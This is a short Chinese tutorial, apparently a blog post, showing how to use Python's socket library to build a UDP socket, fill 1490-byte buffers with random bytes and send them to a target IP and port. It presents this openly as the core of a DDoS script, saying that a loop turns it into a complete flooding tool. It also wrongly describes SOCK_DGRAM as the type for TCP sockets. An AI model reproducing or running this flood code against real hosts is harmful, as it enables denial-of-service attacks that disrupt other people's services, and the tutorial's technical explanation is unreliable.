使用Python socket自带库发送数据包
import socket #一句话导入socket库
import random #下面要构建数据包
下面建立一个和目标的socket通讯:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
socket.AF_INET:或者地址家族:因特网。另一个地址家族AF_INET6用于第6版因特网协议(IPv6)寻址。此外,还有其他的地址家族,这些要么是专业的、过时的、很少使用的,要么是仍未实现的。在所有的地址家族之中,目前AF_INET是使用得最广泛的。
socket.SOCK_DGRAM:为了创建 TCP套接字,必须使用 SOCK_STREAM 作为套接字类型。
下来byte = random._urandom(1490) #构建数据包,里面的数据填别的我没啥意见:)
然后发送数据包:
sock.sendto(byte, ("目标IP地址",int(目标端口)))
譬如sock.sendto(byte, ("120.73.29.148",520)),就是给120.73.29.148这个IP的520端口发包。
这里就完成了一次包发送,下面就和SYN泛洪攻击一样,加一个循环,稍加装饰,就是一个完整的DDOS脚本了。
————————————————